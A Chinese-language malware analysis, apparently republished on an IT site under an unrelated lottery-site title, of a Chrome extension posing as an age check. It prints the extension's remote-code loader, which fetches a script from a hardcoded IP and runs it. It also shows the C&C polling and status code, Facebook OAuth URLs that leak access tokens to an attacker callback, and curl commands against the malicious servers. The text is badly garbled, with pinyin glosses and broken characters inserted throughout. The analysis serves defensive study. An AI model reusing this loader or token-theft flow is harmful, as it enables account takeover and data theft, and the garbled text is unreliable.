IT技術(shu)互(hu)動(dong)交流平jiao)/h4>

上海福彩网官网

作(zuo)者(zhe)︰佚名  發布日(ri)期︰2020-02-22 06:02:59


瀏覽器在(zai)我們的生活扮演一(yi)個越來越重要的角(jiao)色。有了(liao)各類web應用程(cheng)序後,我們把自己的私(si)人(ren)數據放在(zai)Facebook、亞馬(ma)遜或GMail等在(zai)線(xian)服務(wu)中,這(zhe)也要求(qiu)這(zhe)些在(zai)線(xian)服務(wu)保證我們的隱(yin)私(si)安全,因此(ci)出現了(liao)雙因素認證等保護手段,但這(zhe)仍然是(shi)一(yi)個薄弱的環節:一(yi)個惡(e)意的瀏覽器擴展可以使所有的安全措施形(xing)同虛(xu)設。
似乎大部分人(ren)都不知道瀏覽器擴展的攻(gong)擊性(xing)有多強。它們仍然處于不受管(guan)制的範(fan)圍,因為目前並不存在(zai)防(fang)御擴展惡(e)意軟件(jian)的安全措施——你的殺毒軟件(jian)根本不起作(zuo)用。
在(zai)這(zhe)篇文(wen)章中,我將會(hui)分享我發現並調查(cha)過的一(yi)個惡(e)意軟件(jian)擴展,它曾使我的一(yi)個朋友(you)受到感染(ran)。我想展示(shi)這(zhe)個惡(e)意軟件(jian)的功能,所以我將在(zai)這(zhe)篇文(wen)章中發表(biao)所有提取(qu)出來的代碼。
 
發現
在(zai)我的Facebook上,我注(zhu)意到一(yi)個朋友(you)是(shi)經(jing)常為一(yi)些奇怪(guai)的、下(xia)流的鏈(lian)接點贊。我發現了(liao)一(yi)個模(mo)式: 總是(shi)同一(yi)個朋友(you)在(zai)為相同類型(xing)的鏈(lian)接點贊。它們總是(shi)有將近900個喜(xi)歡,沒(mei)有評論(lun),而鏈(lian)接後面的頁面大約有30個喜(xi)歡。

出于好奇,我決定去(qu)看看這(zhe)是(shi)什麼,所以我點擊了(liao)一(yi)個鏈(lian)接,而這(zhe)是(shi)個巨大的錯誤。
我立刻看到一(yi)條消息,要我在(zai)查(cha)看內容之前先驗(yan)證一(yi)下(xia)年齡。
因為是(shi)這(zhe)種性(xing)質的內容,驗(yan)證年齡看起來ci)坪躋埠芎俠懟2緩俠淼牡胤皆zai)于,進行這(zhe)個驗(yan)證必須要先安裝Chrome擴展。

這(zhe)個擴展是(shi)一(yi)個名為viralands.com的網站提供的。
快速搜索顯示(shi),他們還另有9條明(ming)顯一(yi)模(mo)一(yi)樣的擴展。這(zhe)些東(dong)西(xi)現在(zai)已(yi)經(jing)被(bei)移除(chu),但在(zai)我看到它的時(shi)候,那些擴展總共擁有132265名用mei)?br/>我決定先看看擴展的代碼,下(xia)面就是(shi)我發現的內容。
 

這(zhe)個擴展清單十分可疑
可以yuan)右yi)個叫(jiao)做manifest.json的擴展清單文(wen)件(jian)入手,這(zhe)是(shi)一(yi)個元數據文(wen)件(jian),里(li)面包(bao)含(han)擴展的一(yi)些信息,例如名稱(chen)、描述、版本號、權限等qu)br/>擴展請求(qiu)了(liao)以下(xia)的權限:
{
         "permissions": [
                "storage",
                "",
                "tabs",
                "webNavigation",
                "alarms"
         ]
}
安裝擴展時(shi),Chrome將會(hui)提出以下(xia)警(jing)告:
添(tian)加“敏感內容年齡驗(yan)證”?
它可以:
•讀取(qu)和(he)改變你在(zai)訪問的網站上的所有數據。
看上去(qu),這(zhe)個擴展guai)zhi)會(hui)檢查(cha)你的年齡,但是(shi)如果(guo)我們繼續閱(yue)讀清單文(wen)件(jian),我們發現以下(xia)內容:
{
             "background": {
                          "scripts": [
"scripts/query-string.js",
                                       "scripts/install.js",
                                       "background.js"
                          ],
                          "persistent": true
             },
             "content_security_policy": "script-src blob: filesystem: chrome-extension-resource: 'self' 'unsafe-eval'; object-src 'self'"
}
所以總的來ci)它想要持續運行3個腳本(這(zhe)意味著它們不能被(bei)暫停),這(zhe)樣就能夠從所有的地方獲取(qu)數據、存儲,並評估存儲的代碼是(shi)否安全。
讓我們看看這(zhe)三個腳本(background.js, query-string.js和(he)install.js)。
 
年齡驗(yan)證是(shi)個幌子
background.js腳本很短,它只(zhi)會(hui)做一(yi)件(jian)事:在(zai)安裝擴展時(shi),它會(hui)打開(kai)一(yi)個彈出消息。
彈出來的是(shi)一(yi)個簡單的HTML表(biao)單,你可以在(zai)里(li)面輸入你的生日(ri)並按“確認”。

但是(shi)那個年齡驗(yan)證頁面上運行的JavaScript尤rao)漵腥
document.querySelector('#submit').addEventListener('click', function() {
document.querySelector('#box').hidden = true;            document.querySelector('#loading').hidden = false;  setTimeout(function() {                         document.querySelector('#loading').hidden = true;                         document.querySelector('#done').hidden = false;            }, (randomIntFromInterval(0, 2) / 2 + 0.5) * 1000);});
是(shi)的mo) 綣guo)你點擊了(liao)“驗(yan)證”,就會(hui)顯示(shi)“加載…”,然後提示(shi)“完成(cheng)”,年齡驗(yan)證完全是(shi)假(jia)的。
那麼這(zhe)背後隱(yin)藏了(liao)什麼呢?這(zhe)個擴展還另外運行了(liao)兩個腳本,即query-string.js和(he)install.js
讓我們來看看,它實dao)噬顯zai)做什麼?
 
獲取(qu)遠程(cheng)有效載荷
query-string.js腳本並不重要, 這(zhe)只(zhi)是(shi)NPMpackage的副本。
但是(shi)你永遠不會(hui)相信install.js會(hui)做些什麼!第133行會(hui)使你驚訝qu)programUrl = 'http://104.131.35.136:9999/jsnew.php?id=22';
這(zhe)是(shi)一(yi)個外部服務(wu)器的硬編碼變量,用來獲取(qu)腳本。
提示(shi):它從上面提到的服務(wu)器中獲取(qu)的腳本是(shi)一(yi)個惡(e)意軟件(jian)負載。這(zhe)個擴展需要下(xia)載後再安裝,因為如果(guo)它想通(tong)過Chrome Webstore的安全檢查(cha),就不能附帶負載。
它會(hui)從服務(wu)器獲取(qu)一(yi)個腳本,然後將其(qi)存儲在(zai)localStorage並執行。我們可以看到,這(zhe)發生在(zai)getProgram()函數中。
function getProgram(event) {
             var xhr = new XMLHttpRequest();
             var url = programUrl;
             var querySign = url.indexOf('?') === -1 ? '?' : '&';
            
             url += querySign + 'r=' + Date.now();
            
             xhr.open('GET', url, true);
             xhr.setRequestHeader('XYZ-Extension-Id', chrome.runtime.id);
             xhr.onload = function() {
                          var code = xhr.response;
                         
                          try {
                                       var fn = new window['Function'](code);
                                       console.log('Executing loaded code');
                                       fn(); // exit if error
            
                                       localStorage.setItem('localCode', code);
                          } catch (e) {
                                       console.error(e);
                          }
                         
                          xhr.send();

             }
}
我能夠hui)靡韻xia)的cURL命令(ling)來模(mo)擬這(zhe)樣的請求(qiu)。
curl -o external.js --header "XYZ-Extension-Id: nogheblblcgkncmpggmikmcpnjdihgdd" http://104.131.35.136:9999/jsnew.php?id=22&r=1467883037000
我得(de)到了(liao)惡(e)意軟件(jian)的有效載荷,我叫(jiao)它itexternal.js。這(zhe)是(shi)一(yi)個相當長的文(wen)件(jian),有1288行,它可以yuan)油獠糠wu)器獲取(qu)指令(ling)。
兩個URL被(bei)定義在(zai)external.js的開(kai)頭:
var ACTIONS_URL = 'http://159.203.99.206/api/get/';
var STATUS_URL = 'http://159.203.99.206/api/status';
第一(yi)個URL用于從服務(wu)器獲取(qu)指令(ling),第二個用于報告。這(zhe)個獲取(qu)指令(ling)的模(mo)型(xing)叫(jiao)做指揮(hui)和(he)控制(簡稱(chen)C&C)。
我們會(hui)發現擴展是(shi)如何從C&C服務(wu)器獲取(qu)指令(ling)的,以及查(cha)看用getActions()函數定義的inexternal.js:
function getActions(uid) {
             var xhr = new XMLHttpRequest();
            
             xhr.open('GET', ACTIONS_URL + uid, true);
             xhr.responseType = 'json';
            
             xhr.onload = function() {
                          var data = xhr.response;
                          var actions = data && data.actions;
                         
                          if (Array.isArray(actions) && actions.length) {
                                       checkFBLogin(function(status) {
                                                    fbLoginStatus = status;
                                                    handleActions(actions);
                                       });
                          }
             };
            
             xhr.send();
}
這(zhe)個uid變量是(shi)你的設備(bei)的唯一(yi)標識(shi)符,是(shi)由generateUID()生成(cheng)的:
function generateUID() {
             var array = new Uint32Array(8);
             window.crypto.getRandomValues(array);
            
             return [].map.call(array, function(n) {
                          return n.toString(16)
             }).join('');
}
我運行了(liao)一(yi)次:
c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
如果(guo)你想得(de)到完全屬于你的指令(ling)你需要創(chuang)建(jian)自己的UID。為了(liao)向(xiang)服務(wu)器模(mo)擬發送一(yi)個請求(qiu),我運行了(liao)一(yi)次:
curl -o actions.json http://159.203.99.206/api/get/c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
這(zhe)將返回一(yi)個JSON文(wen)件(jian),其(qi)中包(bao)含(han)擴展將要采取(qu)的行動(dong)的列表(biao)。下(xia)面是(shi)我得(de)到的指令(ling):
{
             "actions": [
                          {

                                       "actionType": "ap",
                                       "data": {
                                                    "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=41158896424&_rdr",
                                                    "callback": "http://159.203.99.206/api/getToken"
                                       }
                          },
                          {
                                       "actionType": "ap",
                                       "data": {
                                                    "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions&response_type=token&client_id=241284008322&_rdr",
                                                    "callback": "http://159.203.99.206/api/getToken2"
                                       }

                          },
                          {
                                       "actionType": "lk",
                                       "data": {
                                                    "id": "VVideosss"
                                       }
                          }
             ]
}
泄漏(lou)你的訪問令(ling)牌
前兩個行動(dong)包(bao)含(han)了(liao)可以竊取(qu)你的訪問令(ling)牌的鏈(lian)接。如果(guo)你加載了(liao)這(zhe)些鏈(lian)接,該擴展將捕獲你的訪問令(ling)牌,並將其(qi)發送到服務(wu)器。
有了(liao)你的Facebook的訪問令(ling)牌之後,惡(e)意軟件(jian)運營(ying)商會(hui)訪問您的帳戶。他們可以登錄、發送和(he)閱(yue)讀信息、發布狀態(tai)、鏈(lian)接、評論(lun)、文(wen)章…這(zhe)就相當于你的登錄憑證被(bei)偷了(liao)。
 
喜(xi)歡的Facebook頁面
 
在(zai)我下(xia)載的指令(ling)中,還包(bao)括為一(yi)個叫(jiao)做VVideosss的頁面點贊。
讓我們看看這(zhe)個頁面:
 

68153喜(xi)歡,這(zhe)真是(shi)一(yi)個受歡迎的頁面!但是(shi)受到感染(ran)的共有132265名用mei)? zhe)數字差得(de)不多,是(shi)嗎(ma)?
這(zhe)些頁面獲得(de)的點贊似乎是(shi)從被(bei)感染(ran)的用mei) 搶li)得(de)來的mo) zhe)目前只(zhi)是(shi)個推測。
 
訂閱(yue)YouTube頻道
我沒(mei)有得(de)到任(ren)何要求(qiu)訂閱(yue)YouTube頻道的指令(ling),但是(shi)代碼中有一(yi)個函數就是(shi)干這(zhe)個的。
function sendStatus(data) {
             chrome.storage.local.get('uid', function(storage) {
                          data.id = storage.uid;
                          data.extension_id = chrome.runtime.id;
                          data.fbLoginStatus = fbLoginStatus;
                         
                          var xhr = new XMLHttpRequest();
                         
                          xhr.open('POST', STATUS_URL, true);
                          xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                          xhr.send(queryString.stringify(data));
                         
                          console.log('Status data has been sent', data);
             });
}
將報告發送給服務(wu)器
擴展也可以通(tong)過以下(xia)功能向(xiang)C&C服務(wu)器發送狀態(tai)報告,:
它向(xiang)服務(wu)器發送三項(xiang)內容:
1.UID, 用來ci)侗鶚芨腥ran)的機器的ID字符串(chuan)。
2.擴展ID,一(yi)個與擴展對應的字符串(chuan) (因為Chrome Webstore有多個可用的副本擴展)。

3.受感染(ran)的機器目前是(shi)否進入了(liao)Facebook。
惡(e)意軟件(jian)運營(ying)商將使用此(ci)信息來判斷(duan)確切的活動(dong)規(gui)模(mo),並將其(qi)作(zuo)為在(zai)黑市(shi)上售賣時(shi)的價值衡量。
 
更(geng)多的潛(qian)在(zai)的內容
擴展總是(shi)在(zai)尋找(zhao)新版本的負載。因為惡(e)意軟件(jian)可以“讀取(qu)和(he)改變你在(zai)網站上的所有數據”,其(qi)運營(ying)商可以了(liao)解(jie)到你的瀏覽器中發生的每一(yi)件(jian)事。
他們可以閱(yue)讀你的電子郵件(jian),偷走你所有的登錄憑證、你的比特幣、你的名字,甚至是(shi)你的信用卡信息。
 
我們怎(zen)樣才能防(fang)止這(zhe)種情況的發生?
我認為,每個人(ren)都應該遠離所有的瀏覽器擴展,雖然它們非常有用。
谷歌可以開(kai)始標注(zhu)出值得(de)信賴的擴展,可以通(tong)過手動(dong)驗(yan)證擴展或審查(cha)開(kai)發商的聲(sheng)譽來chuang) 僥康摹br/>開(kai)源(yuan)也是(shi)一(yi)個好方法:如果(guo)一(yi)個擴展是(shi)開(kai)源(yuan)的,那麼就可以發一(yi)個許可徽章。
但是(shi)當前的狀態(tai)是(shi),Chrome Webstore的運行效率並不高。
你可以報告一(yi)個擴展是(shi)惡(e)意的,但在(zai)至少(shao)有132000用mei) 系敝 螅 zhe)些擴展才被(bei)撤下(xia)。
 

Tag標簽︰惡(e)意  瀏覽器  軟件(jian)  
  • 上海福彩网官网

About IT165 - 廣告服務(wu) - 隱(yin)私(si)聲(sheng)明(ming) - 版權申(shen)明(ming) - 免(mian)責(ze)條款 - 網站地圖(tu) - 網友(you)投(tou)稿 - 聯系方式
本站內容來自于互(hu)聯網,僅供用于網絡技術(shu)學習,學習中請遵循相關法律法規(gui)
上海福彩网官网 | 下一页